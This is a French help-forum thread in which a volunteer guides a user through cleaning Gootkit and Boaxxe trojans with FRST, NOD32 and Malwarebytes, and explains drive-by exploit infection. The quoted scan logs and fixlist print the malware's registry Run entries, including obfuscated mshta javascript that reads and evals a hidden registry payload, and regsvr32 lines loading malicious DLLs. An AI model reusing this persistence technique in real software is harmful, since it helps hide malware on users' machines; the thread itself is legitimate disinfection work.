Win32/Boaxxe et Trojan.Gootkit : Problème infection

Salut,

Donne le rapport de nettoyage AdwCleaner puis :

Suis le tutoriel FRST.
(et bien prendre le temps de lire afin d'appliquer correctement - tout y est expliqué).
Télécharge et lance le scan FRST, cela va générer trois rapports FRST :

• FRST.txt
• Shortcut.txt
• Additionnal.txt

Envoie, comme expliqué, ces trois rapports sur le site http://pjjoint.malekal.com et en retour donne les trois liens pjjoint qui mènent à ses rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.

Voilà j'ai posté tous les rapports

Merci pour ton aide

Bon y a du boulot,

Je te conseille de désinstaller Spybot, pas super efficace, selon moi.
Voir ce sujet : Adwares : Antispyware comment ne pas désinfecter son PC

et aussi :

Je te conseille de désinstaller Lavasoft Ad-Aware Web Companion depuis le Panneau de Configuration puis Programmes et fonctionnalités.
Cherche WebCompanion et désinstalle le.
Si la désinstallation ne fonctionne pas, signale le nous.

~~

Ca c'est mal - c'est le Trojan.Gootkit

HKU\S-1-5-21-3214488742-648855996-2194507113-1001\...\Run: [**fe78565d<*>] => mshta javascript:XgjB3FHk=lo;lM5=new%20ActiveXObject(WScript.Shell);Ip5BcIY=n;eKh9H=lM5.RegRead(HKCU\\software\\46703f363c\\e707a30a);dIupQ6xA7T=WtffAnA92U;eval(eKh9H);oHJxdw0=n; <===== ATTENTION (Nom de valeur avec caractères invalides)

Voici la correction à effectuer avec FRST.
Tu peux t'inspirer de cette note explicative avec des captures d'écran pour t'aider: https://www.malekal.com/tutoriel-farbar-recovery-scan-tool-frst/#fix

Ouvre le bloc-notes : Touche Windows + R, dans le champs executer, tape notepad et OK.
Copie/colle dedans ce qui suit :

(Poltiglia Gialla) C:\Users\Fred\AppData\Local\ISsoft\tmp6300.exe
HKU\S-1-5-19\...\Run: [systray] => C:\Program Files (x86)\TheBestMatch\Homepage\DWCSysTray.exe
HKU\S-1-5-20\...\Run: [systray] => C:\Program Files (x86)\TheBestMatch\Homepage\DWCSysTray.exe
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\...\Run: [**fe78565d<*>] => mshta javascript:XgjB3FHk=lo;lM5=new%20ActiveXObject(WScript.Shell);Ip5BcIY=n;eKh9H=lM5.RegRead(HKCU\\software\\46703f363c\\e707a30a);dIupQ6xA7T=WtffAnA92U;eval(eKh9H);oHJxdw0=n; <===== ATTENTION (Nom de valeur avec caractères invalides)
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\...\Run: [**5034b5e6<*>] => mshta javascript:PG2zxVASb=fmUsvHJslD;I49Q=new%20ActiveXObject(WScript.Shell);lQDSAQ5Q=dAuPzxmc;I8Hvy=I49Q.RegRead(HKCU\\software\\46703f363c\\e707a30a);s3aejTds7g=qJFnDe;eval(I8Hvy);eYHw81l (l'élément de données a 6 plus de caractères). <===== ATTENTION (Nom de valeur avec caractères invalides)
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\...\Run: [ISsoft] => C:\Users\Fred\AppData\Local\ISsoft\tmp6300.exe [163840 2015-08-22] (Poltiglia Gialla)
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\...\Run: [Eption] => regsvr32.exe C:\Users\Fred\AppData\Local\Eption\Stltext90.dll <===== ATTENTION
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\...\Run: [Indsoft] => C:\Windows\SysWOW64\regsvr32.exe C:\Users\Fred\AppData\Local\ISsoft\msNetxx.dll
C:\Users\Fred\AppData\Local\ISsoft

Une fois, le texte coller dans le bloc-note.
Menu Fichier puis Enregistrer sous.
A gauche, place toi sur le bureau.
Dans le champs en bas, nom du fichier mets : fixlist.txt
Clic sur Enregistrer - cela va créer un fichier fixlist.txt sur le bureau.

Relance FRST et clic sur le bouton Fix
Selon comment un redémarrage est nécessaire (pas obligatoire).
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur

Fais un scan en ligne NOD32 : https://www.malekal.com/scan-antivirus-ligne-nod32/#NOD32
Enregistre le rapport
Envoie le sur http://pjjoint.malekal.com
Donne le lien ici.

Résultats de correction de Farbar Recovery Scan Tool (x64) Version:21-08-2015 03
Exécuté par Fred (2015-08-22 18:28:33) Run:1
Exécuté depuis C:\Users\Fred\Desktop
Profils chargés: Fred (Profils disponibles: Fred)
Mode d'amorçage: Normal
==============================================

fixlist contenu:
(Poltiglia Gialla) C:\Users\Fred\AppData\Local\ISsoft\tmp6300.exe
HKU\S-1-5-19\...\Run: [systray] => C:\Program Files (x86)\TheBestMatch\Homepage\DWCSysTray.exe
HKU\S-1-5-20\...\Run: [systray] => C:\Program Files (x86)\TheBestMatch\Homepage\DWCSysTray.exe
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\...\Run: [**fe78565d<*>] => mshta javascript:XgjB3FHk=lo;lM5=new%20ActiveXObject(WScript.Shell);Ip5BcIY=n;eKh9H=lM5.RegRead(HKCU\\software\\46703f363c\\e707a30a);dIupQ6xA7T=WtffAnA92U;eval(eKh9H);oHJxdw0=n; <===== ATTENTION (Nom de valeur avec caractères invalides)
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\...\Run: [**5034b5e6<*>] => mshta javascript:PG2zxVASb=fmUsvHJslD;I49Q=new%20ActiveXObject(WScript.Shell);lQDSAQ5Q=dAuPzxmc;I8Hvy=I49Q.RegRead(HKCU\\software\\46703f363c\\e707a30a);s3aejTds7g=qJFnDe;eval(I8Hvy);eYHw81l (l'élément de données a 6 plus de caractères). <===== ATTENTION (Nom de valeur avec caractères invalides)
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\...\Run: [ISsoft] => C:\Users\Fred\AppData\Local\ISsoft\tmp6300.exe [163840 2015-08-22] (Poltiglia Gialla)
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\...\Run: [Eption] => regsvr32.exe C:\Users\Fred\AppData\Local\Eption\Stltext90.dll <===== ATTENTION
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\...\Run: [Indsoft] => C:\Windows\SysWOW64\regsvr32.exe C:\Users\Fred\AppData\Local\ISsoft\msNetxx.dll
C:\Users\Fred\AppData\Local\ISsoft

[5528] C:\Users\Fred\AppData\Local\ISsoft\tmp6300.exe => processus fermé avec succès.
HKU\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Run\\systray => valeur supprimé(es) avec succès
HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Run\\systray => valeur supprimé(es) avec succès
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\Software\Microsoft\Windows\CurrentVersion\Run\\**fe78565d<*> => valeur supprimé(es) avec succès
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\Software\Microsoft\Windows\CurrentVersion\Run\\**5034b5e6<*> => valeur supprimé(es) avec succès
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\Software\Microsoft\Windows\CurrentVersion\Run\\ISsoft => valeur supprimé(es) avec succès
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\Software\Microsoft\Windows\CurrentVersion\Run\\Eption => valeur supprimé(es) avec succès
HKU\S-1-5-21-3214488742-648855996-2194507113-1001\Software\Microsoft\Windows\CurrentVersion\Run\\Indsoft => valeur supprimé(es) avec succès
C:\Users\Fred\AppData\Local\ISsoft => déplacé(es) avec succès

Fin de Fixlog 18:28:34

Et voici le scan nod 32

https://pjjoint.malekal.com/files.php?id=20150823_g5o10d12z15u10

Les trucs Win32/Toolbar -- Win32/SlowPCfighter -- Win32/InstallCore etc on s'en fiche.

Par contre, Win32/Boaxxe, c'est pas cool.
Gootkit, Boaxxe, c'est la fête ce PC :/

C:\Users\All Users\Microsoft\Performance\Monitor\temp\tmp6300.exe Win32/Boaxxe.BQ trojan
C:\AdwCleaner\Quarantine\C\ProgramData\DSearchLink\DSearchLink.exe.vir Win32/Toolbar.Babylon.Y potentially unwanted application cleaned by deleting - quarantined
C:\AdwCleaner\Quarantine\C\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe.vir a variant of Win32/ELEX.BH potentially unwanted application cleaned by deleting - quarantined
C:\AdwCleaner\Quarantine\C\Users\Fred\AppData\Local\BoBrowser\User Data\Default\Extensions\gfmdmibgfbecppaeocifplgmepgcpcbi\1.3.0.9739_0\scripts\content\montiera.js.vir JS/ClaraLab.A potentially unwanted application cleaned by deleting - quarantined
C:\AdwCleaner\Quarantine\C\Users\Fred\AppData\Local\BoBrowser\User Data\Default\Extensions\gfmdmibgfbecppaeocifplgmepgcpcbi\1.3.0.9739_0\scripts\content\scriptInjection.js.vir JS/ClaraLab.A potentially unwanted application cleaned by deleting - quarantined
C:\AdwCleaner\Quarantine\C\Users\Fred\AppData\Local\torch\Helper.dll.vir a variant of Win32/Toolbar.SearchSuite.X potentially unwanted application cleaned by deleting - quarantined
C:\AdwCleaner\Quarantine\C\Users\Fred\AppData\Local\torch\Update\Download\TorchSetup.exe.vir Win32/Toolbar.SearchSuite potentially unwanted application deleted - quarantined
C:\AdwCleaner\Quarantine\C\Users\Fred\AppData\Roaming\0D0S1L2Z1P1B0T1P1B2Z\Image Editor Packages\uninstaller.exe.vir Win32/InstallCore.AZ potentially unwanted application cleaned by deleting - quarantined
C:\AdwCleaner\Quarantine\C\Users\Fred\AppData\Roaming\Fighters\Tray\AutoInstall\DM.exe.vir a variant of Win32/SlowPCfighter.A potentially unwanted application cleaned by deleting - quarantined
C:\AdwCleaner\Quarantine\C\Users\Fred\AppData\Roaming\Fighters\Tray\Updates\TKTRAY-DM\DM.exe.vir a variant of Win32/SlowPCfighter.A potentially unwanted application cleaned by deleting - quarantined
C:\AdwCleaner\Quarantine\C\Users\Fred\AppData\Roaming\omniboxes\UninstallManager.exe.vir a variant of Win32/ELEX.CP potentially unwanted application cleaned by deleting - quarantined
C:\FRST\Quarantine\C\Users\Fred\AppData\Local\ISsoft\msNetxx.dll a variant of Win32/Boaxxe.EB trojan cleaned by deleting - quarantined
C:\FRST\Quarantine\C\Users\Fred\AppData\Local\ISsoft\tmp6300.exe Win32/Boaxxe.BQ trojan cleaned by deleting - quarantined
C:\Program Files (x86)\FreeTime\FormatFactory\FFModules\Package\BaiDu\hao123inst.exe a variant of Win32/Hao123.A potentially unwanted application cleaned by deleting - quarantined
C:\ProgramData\msjaxivr.exe a variant of Generik.JRSNRHX trojan cleaned by deleting (after the next restart) - quarantined
C:\ProgramData\Microsoft\Performance\Monitor\temp\tmp6300.exe Win32/Boaxxe.BQ trojan cleaned by deleting - quarantined
C:\Users\All Users\msjaxivr.exe a variant of Generik.JRSNRHX trojan cleaned by deleting (after the next restart) - quarantined
C:\Users\Fred\AppData\Local\Eption\Stltext90.dll a variant of Win32/Boaxxe.EB trojan cleaned by deleting - quarantined

~~

Si pas fait, désinstalle Spybot puis :

Malwarebytes (temps : environ 40min de scan):
==================================================
Télécharge et installe Malwarebyte : https://www.malekal.com/tutoriel-malwarebyte-anti-malware/
Mets le à jour puis lance un examen.

A la fin du scan, clic sur "Supprimer Selection" en bas à gauche.
Redémarre l'ordinateur si besoin.
Après redémarrage, relance Malwarebytes.
Vas chercher le rapport dans l'onglet Historique.
A gauche Journal d'analyse.
Doube-clic sur l'examen dans la liste.
Puis en bas Copier dans le presse papier
Vas sur http://pjjoint.malekal.com et en bas, clic droit / coller pour coller le rapport du scan Malwarebytes.
Clic sur envoyer.
Dans un nouveau message ici en réponse, donne le lien pjjoint afin de pouvoir consulter le rapport.

cela m'a généré 2 rapports

https://pjjoint.malekal.com/files.php?id=20150823_w5e14e8j9g11

https://pjjoint.malekal.com/files.php?id=20150823_j8m13o13h5m12

Apparemment plus de messages Agent Web

Vraiment impressionnant votre savoir-faire

Merci pour votre aide

Cordialement

=)

Fais des scan réguliers avec Malwarebytes,

Sécurise ton PC - surtout désactive bien java de tes navigateurs WEB !

Important - ton infection est venue par un exploit sur site web :

Un exploit sur site WEB permet l'infection de ton ordinateur de manière automatiquement à la visite d'un site WEB qui a été hacké, il tire partie du fait que tu as des logiciels (Java, Adobe Reader etc) qui sont pas à jour et possèdent des vulnérabilités qui permettent l'execution de code (malicieux dans notre cas) à ton insu.
Le fait de ne pas avoir des logiciels à jour et qui ont potentiellement des vulnérabilités permettent donc d'infecter ton système.
Exemple avec : Exploit Java

Il faut donc impérativement maintenir tes logiciels à jour afin de ne pas voir ces portes d'entrée sur ton système.
Tant que ces logiciels ne seront pas à jour, ton PC est vulnérable et les infections peuvent s'installer facilement.

IMPORTANT : mettre à jour tes programmes notamment Java/Adobe Reader et Flash :
/faq/13362-mettre-a-jour-son-pc-contre-les-failles-de-securite
https://forum.malekal.com/viewtopic.php?t=15960&start=

Désactive Java de tes navigateurs WEB : https://www.commentcamarche.net/faq/35621-desactiver-java-sur-ses-navigateurs-web

Passe le mot à tes amis !

~~

Pour prévenir les sites malicieux, tu peux installer Blockulicious : https://forum.malekal.com/viewtopic.php?t=46656&start=